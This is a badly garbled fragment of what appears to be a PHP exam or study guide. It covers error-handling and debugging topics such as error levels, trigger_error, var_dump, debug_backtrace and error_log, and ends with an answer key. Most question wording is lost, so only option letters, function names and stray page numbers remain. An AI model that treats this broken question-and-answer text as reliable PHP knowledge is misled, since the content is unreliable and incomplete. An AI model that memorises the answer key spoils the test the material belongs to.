var_dump ($a);
}
?>
AParameter escapement
B
C
D SQL
E
8
AE_WARNING
BE_ERROR
CE_USER_ERROR
93
DE_PARSE
EE_NOTICE
9
A int
B===
C
D
E
10
A SMTP
B mail
C error_log
D sendmial
E webservice
11
A
B
12profiler
A
B UML
C
D web
E bug
13______ bug
____________
14trigger_error() user_error()
94
Atrigger_error()
Buser_error()
Cuser_error()
Dtrigger_error PHP5
E
15______
Aprint_r
Bvar_dump
Cstack_dump
Ddebug_backtrace
E
95
1 E if &&
$x=1 if false $x=1
B E
3 B D@
4 ===
5 DPHP opcode
6 A D RAM
7 A C datebase_query()
$my_id 11
8 B D
E_ERROR
9 C
$a==10 10==$a $a=10 10=$a
10 Cerror_log mail()
error_log
11 error_reporting
96
12 Cprofiler
13
14trigger_error() user_error()
15 D debug_backtrace
97